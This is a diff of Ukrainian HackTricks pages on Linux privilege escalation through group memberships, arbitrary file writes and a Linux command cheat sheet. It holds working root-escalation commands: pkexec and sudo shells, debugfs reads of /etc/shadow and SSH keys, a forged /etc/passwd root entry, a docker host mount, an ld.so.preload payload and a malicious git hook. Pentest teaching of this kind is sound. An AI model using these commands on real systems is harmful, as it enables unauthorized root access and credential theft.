Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Цікаві групи - Підвищення привілеїв в Linux
|
||||
# Цікаві Групи - Підвищення Привілеїв в Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Групи Sudo/Admin
|
||||
|
||||
|
@ -26,7 +27,7 @@
|
|||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Це означає, що **будь-який користувач, який належить до групи sudo або admin, може виконати будь-яку команду як sudo**.
|
||||
Це означає, що **будь-який користувач, який належить до групи sudo або admin, може виконати будь-що як sudo**.
|
||||
|
||||
Якщо це так, **щоб стати root, ви можете просто виконати**:
|
||||
```
|
||||
|
@ -38,14 +39,13 @@ sudo su
|
|||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Якщо ви виявите, що бінарний файл **pkexec є SUID-бінарним** і ви належите до груп **sudo** або **admin**, ви, ймовірно, зможете виконувати бінарні файли як sudo, використовуючи `pkexec`.\
|
||||
Це тому, що зазвичай ці групи є в **політиці polkit**. Ця політика визначає, які групи можуть використовувати `pkexec`. Перевірте це за допомогою:
|
||||
Якщо ви виявите, що бінарний файл **pkexec є SUID-бінарним** і ви належите до групи **sudo** або **admin**, ви, ймовірно, зможете виконувати бінарні файли як sudo, використовуючи `pkexec`. Це тому, що зазвичай ці групи є в **політиці polkit**. Ця політика визначає, які групи можуть використовувати `pkexec`. Перевірте це за допомогою:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Тут ви знайдете, які групи мають дозвіл на виконання **pkexec** і **за замовчуванням** в деяких дистрибутивах Linux з'являються групи **sudo** і **admin**.
|
||||
Тут ви знайдете, які групи мають дозвіл на виконання **pkexec** і **за замовчуванням** в деяких дистрибутивах Linux з'являються групи **sudo** та **admin**.
|
||||
|
||||
Для **отримання прав адміністратора ви можете виконати**:
|
||||
Для **отримання прав root ви можете виконати**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
|
@ -55,7 +55,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
|||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Це не тому, що у вас немає дозволів, а тому що ви не підключені без GUI**. І є обхідне рішення для цієї проблеми тут: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Вам потрібно **2 різні сеанси ssh**:
|
||||
**Це не через те, що у вас немає дозволів, а через те, що ви не підключені без GUI**. Існує обхідне рішення для цієї проблеми тут: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Вам потрібно **2 різні сеанси ssh**:
|
||||
|
||||
{% code title="session1" %}
|
||||
```bash
|
||||
|
@ -74,7 +74,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
|||
|
||||
## Група Wheel
|
||||
|
||||
Іноді, за замовчуванням у файлі **/etc/sudoers** ви можете знайти цей рядок:
|
||||
**Іноді**, **за замовчуванням** всередині файлу **/etc/sudoers** ви можете знайти цей рядок:
|
||||
```
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
|
@ -96,7 +96,7 @@ sudo su
|
|||
|
||||
**staff**: Дозволяє користувачам додавати локальні модифікації до системи (`/usr/local`) без необхідності привілеїв root (зверніть увагу, що виконувані файли в `/usr/local/bin` є в змінній PATH будь-якого користувача, і вони можуть "перевизначити" виконувані файли в `/bin` та `/usr/bin` з такою ж назвою). Порівняйте з групою "adm", яка більше пов'язана з моніторингом/безпекою. [\[джерело\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
У дистрибутивах debian, змінна `$PATH` показує, що `/usr/local/` буде виконуватися з найвищим пріоритетом, незалежно від того, чи ви привілейований користувач чи ні.
|
||||
У дистрибутивах debian, змінна `$PATH` показує, що `/usr/local/` буде запущено з найвищим пріоритетом, незалежно від того, чи ви привілейований користувач, чи ні.
|
||||
```bash
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
|
||||
|
@ -104,7 +104,7 @@ $ echo $PATH
|
|||
# echo $PATH
|
||||
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
```
|
||||
Якщо ми можемо захопити деякі програми в `/usr/local`, ми можемо легко отримати root.
|
||||
Якщо ми можемо захопити деякі програми в `/usr/local`, ми легко можемо отримати root.
|
||||
|
||||
Захоплення програми `run-parts` - це спосіб легко отримати root, оскільки більшість програм буде запускати `run-parts`, наприклад (crontab, коли відбувається вхід через ssh).
|
||||
```bash
|
||||
|
@ -114,7 +114,7 @@ $ cat /etc/crontab | grep run-parts
|
|||
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
|
||||
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
|
||||
```
|
||||
або коли відбувається новий вхід у сеанс ssh.
|
||||
або Коли нова сесія ssh входить.
|
||||
```bash
|
||||
$ pspy64
|
||||
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
|
||||
|
@ -146,9 +146,9 @@ $ ls -la /bin/bash
|
|||
# 0x5 root it
|
||||
$ /bin/bash -p
|
||||
```
|
||||
## Диск Група
|
||||
## Група диска
|
||||
|
||||
Ця привілея майже **еквівалентна доступу до root**, оскільки ви можете отримати доступ до всіх даних всередині машини.
|
||||
Ця привілея майже **еквівалентна доступу root**, оскільки ви можете отримати доступ до всіх даних всередині машини.
|
||||
|
||||
Файли: `/dev/sd[a-z][1-9]`
|
||||
```bash
|
||||
|
@ -159,7 +159,7 @@ debugfs: ls
|
|||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Зверніть увагу, що за допомогою debugfs ви також можете **записувати файли**. Наприклад, щоб скопіювати `/tmp/asd1.txt` в `/tmp/asd2.txt`, ви можете виконати:
|
||||
Зверніть увагу, що за допомогою debugfs ви також можете **записувати файли**. Наприклад, щоб скопіювати `/tmp/asd1.txt` до `/tmp/asd2.txt`, ви можете виконати:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
|
@ -168,26 +168,26 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
|||
|
||||
## Група відео
|
||||
|
||||
Використовуючи команду `w`, ви можете знайти **хто увійшов в систему** і отримаєте вивід, схожий на наступний:
|
||||
Використовуючи команду `w`, ви можете дізнатися **хто увійшов в систему**, і вона покаже вивід, схожий на наступний:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1** означає, що користувач **yossi залогінений фізично** до терміналу на машині.
|
||||
**tty1** означає, що користувач **yossi увійшов фізично** до терміналу на машині.
|
||||
|
||||
Група **video** має доступ до перегляду виводу екрану. В основному, ви можете спостерігати за екранами. Для цього потрібно **захопити поточне зображення екрану** у вигляді сирої даних та отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`.
|
||||
Група **video** має доступ до перегляду виводу екрану. В основному, ви можете спостерігати за екранами. Для цього потрібно **захопити поточне зображення на екрані** у вигляді сирої даних та отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Для **відкриття** **сирого зображення** можна використовувати **GIMP**, виберіть файл \*\*`screen.raw` \*\* та виберіть як тип файлу **Дані сирого зображення**:
|
||||
Для **відкриття** **сирого зображення** можна використовувати **GIMP**, виберіть файл \*\*`screen.raw` \*\* та виберіть тип файлу **Raw image data**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (287) (1).png>)
|
||||
![](<../../../.gitbook/assets/image (463).png>)
|
||||
|
||||
Потім змініть ширину та висоту на використані на екрані та перевірте різні типи зображень (і виберіть той, який краще показує екран):
|
||||
Потім змініть ширину та висоту на ті, які використовуються на екрані та перевірте різні типи зображень (і виберіть той, який краще показує екран):
|
||||
|
||||
![](<../../../.gitbook/assets/image (288).png>)
|
||||
![](<../../../.gitbook/assets/image (317).png>)
|
||||
|
||||
## Група Root
|
||||
|
||||
|
@ -211,18 +211,6 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
|
|||
#Ifyou just want filesystem and network access you can startthe following container:
|
||||
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
|
||||
```
|
||||
Нарешті, якщо вам не подобаються жодні з попередніх пропозицій або вони не працюють з якоїсь причини (файервол docker api?), ви завжди можете спробувати **запустити привілейований контейнер та вибратися з нього** як пояснено тут:
|
||||
|
||||
{% content-ref url="../docker-security/" %}
|
||||
[docker-security](../docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Якщо у вас є права на запис до сокету docker, прочитайте [**цей пост про те, як підняти привілеї, зловживаючи сокетом docker**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
|
||||
## Група lxc/lxd
|
||||
|
||||
{% content-ref url="./" %}
|
||||
|
@ -231,24 +219,10 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
|
|||
|
||||
## Група Adm
|
||||
|
||||
Зазвичай **члени** групи **`adm`** мають дозвіл на **читання журналів**, розташованих всередині _/var/log/_.\
|
||||
Зазвичай **члени** групи **`adm`** мають дозвіл на **читання файлів журналу**, розташованих всередині _/var/log/_.\
|
||||
Отже, якщо ви скомпрометували користувача в цій групі, вам слід обов'язково **подивитися журнали**.
|
||||
|
||||
## Група Auth
|
||||
|
||||
У OpenBSD група **auth** зазвичай може записувати в папки _**/etc/skey**_ та _**/var/db/yubikey**_, якщо вони використовуються.\
|
||||
Ці дозволи можна зловживати за допомогою наступного експлойту для **підняття привілеїв** до root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
|
||||
</details>
|
||||
Ці дозволи можна зловживати за допомогою наступного експлойту для **підвищення привілеїв** до root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# Довільне записування файлу в корінь
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### /etc/ld.so.preload
|
||||
|
||||
Цей файл працює як змінна оточення **`LD_PRELOAD`**, але він також працює в **SUID-бінарних файлах**.\
|
||||
Якщо ви можете створити або змінити його, ви можете просто додати **шлях до бібліотеки, яка буде завантажена** з кожним виконуваним бінарним файлом.
|
||||
Цей файл працює як **`LD_PRELOAD`** змінна середовища, але він також працює в **SUID бінарних файлів**.\
|
||||
Якщо ви можете створити або змінити його, ви можете просто додати **шлях до бібліотеки, яка буде завантажена** з кожним виконаним бінарним файлом.
|
||||
|
||||
Наприклад: `echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||||
```c
|
||||
|
@ -34,39 +35,42 @@ system("/bin/bash");
|
|||
//cd /tmp
|
||||
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
### Гіт-гачки
|
||||
### Git hooks
|
||||
|
||||
[**Гіт-гачки**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) - це **скрипти**, які **виконуються** під час різних **подій** в репозиторії git, наприклад, коли створюється коміт, злиття... Таким чином, якщо **привілейований скрипт або користувач** часто виконує ці дії і може **писати в папку `.git`**, це може бути використано для **підвищення привілеїв**.
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) - це **сценарії**, які **виконуються** під час різних **подій** в репозиторії git, наприклад, коли створюється коміт, злиття... Таким чином, якщо **привілейований сценарій або користувач** часто виконує ці дії і може **записувати в папку `.git`**, це може бути використано для **підвищення привілеїв**.
|
||||
|
||||
Наприклад, можна **створити скрипт** в гіт-репозиторії в **`.git/hooks`**, щоб він завжди виконувався при створенні нового коміту:
|
||||
Наприклад, можна **створити сценарій** в git-репозиторії в **`.git/hooks`**, щоб він завжди виконувався при створенні нового коміту:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
|
||||
chmod +x pre-commit
|
||||
```
|
||||
### Cron & Time files
|
||||
{% endcode %}
|
||||
|
||||
### Файли Cron & Time
|
||||
|
||||
TODO
|
||||
|
||||
### Service & Socket files
|
||||
### Файли Service & Socket
|
||||
|
||||
TODO
|
||||
|
||||
### binfmt\_misc
|
||||
|
||||
Файл, розташований в `/proc/sys/fs/binfmt_misc`, вказує, який бінарний файл повинен виконувати який тип файлів. TODO: перевірте вимоги для використання цього для виконання оберненого шелу, коли відкритий типовий файл.
|
||||
Файл, розташований в `/proc/sys/fs/binfmt_misc`, вказує, який виконувати бінарний файл для виконання файлів певного типу. TODO: перевірте вимоги для використання цього для виконання оберненого shell, коли відкрито файл звичайного типу.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Корисні команди Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів у спільноті.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Загальні команди Bash
|
||||
## Загальний Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
@ -141,10 +142,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти у світі.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -169,8 +170,6 @@ python pyinstaller.py --onefile exploit.py
|
|||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
|
||||
## Грепи
|
||||
```bash
|
||||
#Extract emails from file
|
||||
|
@ -296,7 +295,9 @@ for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do ech
|
|||
```
|
||||
## Iptables
|
||||
|
||||
## Iptables
|
||||
### Огляд
|
||||
|
||||
`iptables` - це стандартний інструмент управління брандмауером для багатьох дистрибутивів Linux. Він дозволяє адміністраторам налаштовувати правила безпеки для захисту сервера.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -327,21 +328,22 @@ iptables -P INPUT DROP
|
|||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
